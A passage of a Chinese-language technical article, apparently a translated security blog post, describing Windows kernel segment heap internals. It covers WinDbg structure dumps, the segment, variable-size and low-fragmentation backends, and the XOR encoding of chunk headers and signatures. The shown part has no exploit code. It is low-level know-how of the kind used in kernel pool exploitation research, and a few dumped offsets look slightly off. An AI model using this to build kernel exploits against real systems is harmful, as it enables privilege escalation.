ReservedMustBeZero2 : Uint8B<br/>+0 x038 Spare : Ptr64 Void<br/>+0 x040 LargeMetadataLock : Uint8B<br/>+0 x048 LargeAllocMetadata : _RTL_RB_TREE<br/>+0 x058 LargeReservedPages : Uint8B<br/>+0 x060 LargeCommittedPages : Uint8B<br/>+0 x068 StackTraceInitVar : _RTL_RUN_ONCE<br/>+0 x080 MemStats : _HEAP_RUNTIME_MEMORY_STATS<br/>+0 x0d8 GlobalLockCount : Uint2B<br/>+0 x0dc GlobalLockOwner : Uint4B<br/>+0 x0e0 ContextExtendLock : Uint8B<br/>+0 x0e8 AllocatedBase : Ptr64 UChar<br/>+0 x0f0 UncommittedBase : Ptr64 UChar<br/>+0 x0f8 ReservedLimit : Ptr64 UChar<br/>+0 x100 SegContexts : [2] _HEAP_SEG_CONTEXT<br/>+0 x280 VsContext : _HEAP_VS_CONTEXT<br/>+0 x340 LfhContext : _HEAP_LFH_CONTEXT<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">存在5个_SEGMENT_HEAP结构，对应不同的_POOL_TYPE值。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">NonPaged pools（bit 0 <span style="color: #e6c07b;line-height: 26px;">unset</span>）<br/>NonPagedNx pool（bit 0 <span style="color: #e6c07b;line-height: 26px;">unset</span> and bit 9 <span style="color: #e6c07b;line-height: 26px;">set</span>）<br/>Paged pools （bit 0 <span style="color: #e6c07b;line-height: 26px;">set</span>）<br/>PagedSession pool （bit 5 and 1 <span style="color: #e6c07b;line-height: 26px;">set</span>）<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">第五个段堆也被分配，但是作者没有找到它的用途。前三个与NonPaged、NonPagedNx、Paged相关的段堆被存储在HEAP_POOL_NODES中。与PagedPoolSession相关联的段堆被存储在当前线程中。图3总结了5个段堆</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-fileid="100000604" data-ratio="0.6884328358208955" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="536" src="https://wechat2rss.xlab.app/img-proxy/?k=d97c8d14&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7Bia9Oeib6eG4ohT4Qz6OXzcnqI2z8ICiangmv3KQXau6GzV1m2guvsQ5e9jFn5tswd6uUSGJHubLUA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;text-align: center;">																									<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">图3. 段后端内部结构</code></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">尽管用户层段堆仅使用一个段分配器上下文进行128KB到508KB之间的分配，但在内核层段堆使用两个段分配器上下文，第二个用于508KB到7GB之间的分配。</p><h6 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;"><span style="display: none;"></span>段后端（Segment Backend）<span style="display: none;"></span></h6><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">段后端被用于分配大小在128KB到7GB之间的内存块。它也在后台使用，为VS和LFH后端分配内存。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">段后端上下文存储在称作_HEAP_SEG_CONTEXT的结构体中。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">1: kd &gt; dt nt! _HEAP_SEG_CONTEXT<br/>+0 x000 SegmentMask : Uint8B<br/>+0 x008 UnitShift : UChar<br/>+0 x009 PagesPerUnitShift : UChar<br/>+0 x00a FirstDescriptorIndex : UChar<br/>+0 x00b CachedCommitSoftShift : UChar<br/>+0 x00c CachedCommitHighShift : UChar<br/>+0 x00d Flags : &lt;anonymous -tag &gt;<br/>+0 x010 MaxAllocationSize : Uint4B<br/>+0 x014 OlpStatsOffset : Int2B<br/>+0 x016 MemStatsOffset : Int2B<br/>+0 x018 LfhContext : Ptr64 Void<br/>+0 x020 VsContext : Ptr64 Void<br/>+0 x028 EnvHandle : RTL_HP_ENV_HANDLE<br/>+0 x038 Heap : Ptr64 Void<br/>+0 x040 SegmentLock : Uint8B<br/>+0 x048 SegmentListHead : _LIST_ENTRY<br/>+0 x058 SegmentCount : Uint8B<br/>+0 x060 FreePageRanges : _RTL_RB_TREE<br/>+0 x070 FreeSegmentListLock : Uint8B<br/>+0 x078 FreeSegmentList : [2] _SINGLE_LIST_ENTRY<br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-fileid="100000607" data-ratio="0.544256120527307" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1062" src="https://wechat2rss.xlab.app/img-proxy/?k=f779631a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7Bia9Oeib6eG4ohT4Qz6OXzcLqG9WFrzFXRBHXAIEp4pbPlquPYHNI0X6pjzEBGzPH14mQdWOojAFA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;text-align: center;">																									<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">图4. 段后端内部结构图</code></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">段后端通过称为段的可变大小块分配内存。每个段由多个可分配的页组成。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">段存储在SegmentListHead的链表中。段以一个_HEAP_PAGE_SEGMENT开头，后面跟着256个_HEAP_PAGE_RANGE_DESCRIPTOR结构。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;">1</span>: kd &gt; dt nt! _HEAP_PAGE_SEGMENT<br/>+<span style="color: #d19a66;line-height: 26px;">0</span> x000 ListEntry : _LIST_ENTRY<br/>+<span style="color: #d19a66;line-height: 26px;">0</span> x010 Signature : Uint8B<br/>+<span style="color: #d19a66;line-height: 26px;">0</span> x018 SegmentCommitState : Ptr64 _HEAP_SEGMENT_MGR_COMMIT_STATE<br/>+<span style="color: #d19a66;line-height: 26px;">0</span> x020 UnusedWatermark : UChar<br/>+<span style="color: #d19a66;line-height: 26px;">0</span> x000 DescArray : [<span style="color: #d19a66;line-height: 26px;">256</span>] _HEAP_PAGE_RANGE_DESCRIPTOR<br/></code></pre><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;">1</span>: kd &gt; dt nt! _HEAP_PAGE_RANGE_DESCRIPTOR<br/>+<span style="color: #d19a66;line-height: 26px;">0</span> x000 TreeNode : _RTL_BALANCED_NODE<br/>+<span style="color: #d19a66;line-height: 26px;">0</span> x000 TreeSignature : Uint4B<br/>+<span style="color: #d19a66;line-height: 26px;">0</span> x004 UnusedBytes : Uint4B<br/>+<span style="color: #d19a66;line-height: 26px;">0</span> x008 ExtraPresent : Pos <span style="color: #d19a66;line-height: 26px;">0</span>, <span style="color: #d19a66;line-height: 26px;">1</span> Bit<br/>+<span style="color: #d19a66;line-height: 26px;">0</span> x008 Spare0 : Pos <span style="color: #d19a66;line-height: 26px;">1</span>, <span style="color: #d19a66;line-height: 26px;">15</span> Bits<br/>+<span style="color: #d19a66;line-height: 26px;">0</span> x018 RangeFlags : UChar<br/>+<span style="color: #d19a66;line-height: 26px;">0</span> x019 CommittedPageCount : UChar<br/>+<span style="color: #d19a66;line-height: 26px;">0</span> x01a Spare : Uint2B<br/>+<span style="color: #d19a66;line-height: 26px;">0</span> x01c Key : _HEAP_DESCRIPTOR_KEY<br/>+<span style="color: #d19a66;line-height: 26px;">0</span> x01c Align : [<span style="color: #d19a66;line-height: 26px;">3</span>] UChar<br/>+<span style="color: #d19a66;line-height: 26px;">0</span> x01f UnitOffset : UChar<br/>+<span style="color: #d19a66;line-height: 26px;">0</span> x01f UnitSize : UChar<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">为了提供对空闲页面范围的快速查找，还在_HEAP_SEG_CONTEXT中维护了一个红黑树。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">每个_HEAP_PAGE_SEGMENT 都有一个签名，计算方法如下</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">Signature = Segment ^ SegContext ^ RtlpHpHeapGlobals ^ <span style="color: #d19a66;line-height: 26px;">0xA2E64EADA2E64EAD</span> ;<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">此签名用于从任何已分配的内存块中检索拥有的_HEAP_SEG_CONTEXT和相应的_SEGMENT_HEAP。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">图4总结了段后端中使用的内部结构。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">通过使用存储在_HEAP_SEG_CONTEXT中的SegmentMask掩码，可以快速从任意地址计算出原始段。SegmentMask的值为0xfffffffffff00000。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">Segment = Addr &amp; SegContext -&gt;SegmentMask;<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">通过使用_HEAP_SEG_CONTEXT中的UnitShift，可以轻松从任意地址计算出相应的PageRange。UnitShift设置为12。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">PageRange = Segment + <span style="color: #c678dd;line-height: 26px;">sizeof</span>( _HEAP_PAGE_RANGE_DESCRIPTOR ) * (Addr- Segment) &gt;&gt; SegContext -&gt;UnitShift;<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">当Segment Backend被另一个后端使用时，_HEAP_PAGE_RANGE_DESCRIPTOR的RangeFlags字段被用于存储请求分配的后端。</p><h6 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;"><span style="display: none;"></span>可变大小后端（Variable Size Backend）<span style="display: none;"></span></h6><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">可变大小后端分配512B到128KB大小的块。它旨在提供对空闲块的轻松重用。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">可变大小后端上下文存储在被称为_HEAP_VS_CONTEXT的结构体中。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">0: kd &gt; dt nt! _HEAP_VS_CONTEXT<br/>+0 x000 Lock : Uint8B<br/>+0 x008 LockType : _RTLP_HP_LOCK_TYPE<br/>+0 x010 FreeChunkTree : _RTL_RB_TREE<br/>+0 x020 SubsegmentList : _LIST_ENTRY<br/>+0 x030 TotalCommittedUnits : Uint8B<br/>+0 x038 FreeCommittedUnits : Uint8B<br/>+0 x040 DelayFreeContext : _HEAP_VS_DELAY_FREE_CONTEXT<br/>+0 x080 BackendCtx : Ptr64 Void<br/>+0 x088 Callbacks : _HEAP_SUBALLOCATOR_CALLBACKS<br/>+0 x0b0 Config : _RTL_HP_VS_CONFIG<br/>+0 x0b4 Flags : Uint4B<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">可变大小后端的内部结构</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-fileid="100000608" data-ratio="0.49076517150395776" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1137" src="https://wechat2rss.xlab.app/img-proxy/?k=674d3b60&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7Bia9Oeib6eG4ohT4Qz6OXzc47tXDHlwRqoIcgF4icolPjFHYiaB2hA57VoQkVibUUEBvVkmTOTqwTUPg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;text-align: center;">																									<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">图5. 可变大小后端内部结构</code></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">空闲块存储在称为FreeChunkTree的红黑树中。当请求分配时，红黑树用于查找任何大小相同的空闲块或大于请求大小的第一个空闲块。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">空闲块以一个称作_HEAP_VS_CHUNK_FREE_HEADER的专用结构体为头部。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">0: kd &gt; dt nt! _HEAP_VS_CHUNK_FREE_HEADER<br/>+0 x000 Header : _HEAP_VS_CHUNK_HEADER<br/>+0 x000 OverlapsHeader : Uint8B<br/>+0 x008 Node : _RTL_BALANCED_NODE<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">一旦找到一个空闲块，就会调用RtlpHpVsChunkSplit将其分割为大小合适的块。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">已经被分配的块都会以一个名为_HEAP_VS_CHUNK_HEADER的结构体开头。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">0: kd &gt; dt nt! _HEAP_VS_CHUNK_HEADER<br/>+0 x000 Sizes : _HEAP_VS_CHUNK_HEADER_SIZE<br/>+0 x008 EncodedSegmentPageOffset : Pos 0, 8 Bits<br/>+0 x008 UnusedBytes : Pos 8, 1 Bit<br/>+0 x008 SkipDuringWalk : Pos 9, 1 Bit<br/>+0 x008 Spare : Pos 10, 22 Bits<br/>+0 x008 AllocatedChunkBits : Uint4B<br/>0: kd &gt; dt nt! _HEAP_VS_CHUNK_HEADER_SIZE<br/>+0 x000 MemoryCost : Pos 0, 16 Bits<br/>+0 x000 UnsafeSize : Pos 16, 16 Bits<br/>+0 x004 UnsafePrevSize : Pos 0, 16 Bits<br/>+0 x004 Allocated : Pos 16, 8 Bits<br/>+0 x000 KeyUShort : Uint2B<br/>+0 x000 KeyULong : Uint4B<br/>+0 x000 HeaderBits : Uint8B<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">header结构体中的所有字段都与RtlHpHeapGlobals和块的地址进行异或。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">Chunk -&gt;Sizes = Chunk -&gt;Sizes ^ Chunk ^ RtlpHpHeapGlobals ;<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在内部，VS分配器使用段分配器。它通过_HEAP_VS_CONTXT中的_HEAP_SUBALLOCATOR_CALLBACKS字段在RtlpHpVsSubsegmentCreate中使用。子分配器回调函数都与VS上下文和RtlpHpHeapGlobals地址进行异或。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">callbacks.Allocate = RtlpHpSegVsAllocate ;<br/>callbacks.Free = RtlpHpSegLfhVsFree ;<br/>callbacks.Commit = RtlpHpSegLfhVsCommit ;<br/>callbacks.Decommit = RtlpHpSegLfhVsDecommit ;<br/>callbacks.ExtendContext = NULL;<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">如果FreeChunkTree中没有足够大的块，则会在子段列表中分配并插入一个新的子段，其大小范围为64KiB到256KiB。它以_HEAP_VS_SUBSEGMENT结构体为首。所有剩余的块都用作空闲块被插入到FreeChunkTree中。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">0: kd &gt; dt nt! _HEAP_VS_SUBSEGMENT<br/>+0 x000 ListEntry : _LIST_ENTRY<br/>+0 x010 CommitBitmap : Uint8B<br/>+0 x018 CommitLock : Uint8B<br/>+0 x020 Size : Uint2B<br/>+0 x022 Signature : Pos 0, 15 Bits<br/>+0 x022 FullCommit : Pos 15, 1 Bit<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">图5总结了VS后端的内存架构。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">当VS块被释放时，如果它小于1KB并且VS后端是正确配置的（Config.Flags的第四位配置为1），它将被临时存储在DelayFreeContext列表中。一旦DelayFreeContext填充了32个块，这些块将一次性全部被释放。DelayFreeContext从不用于直接分配。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">当一个VS块真的被释放，如果它与其他两个空闲块相邻，那么这三个空闲块将利用函数RtlpHpVsChunkCoalesce合并在一起。然后合并后的大块将被插入到FreeChunkTree中。</p><h6 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;"><span style="display: none;"></span>低碎片化堆后端（Low Fragmentation Heap Backend）<span style="display: none;"></span></h6><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">低碎片化的堆是一个专门用来分配1B到512B的小块的后端。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">LFH后端上下文存储在称作_HEAP_LFH_CONTEXT的结构体中。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">0: kd &gt; dt nt! _HEAP_LFH_CONTEXT<br/>+0 x000 BackendCtx : Ptr64 Void<br/>+0 x008 Callbacks : _HEAP_SUBALLOCATOR_CALLBACKS<br/>+0 x030 AffinityModArray : Ptr64 UChar<br/>+0 x038 MaxAffinity : UChar<br/>+0 x039 LockType : UChar<br/>+0 x03a MemStatsOffset : Int2B<br/>+0 x03c Config : _RTL_HP_LFH_CONFIG<br/>+0 x040 BucketStats : _HEAP_LFH_SUBSEGMENT_STATS<br/>+0 x048 SubsegmentCreationLock : Uint8B<br/>+0 x080 Buckets : [129] Ptr64 _HEAP_LFH_BUCKET<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">LFH后端的主要特点是使用不同大小的bucket来避免碎片化</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img 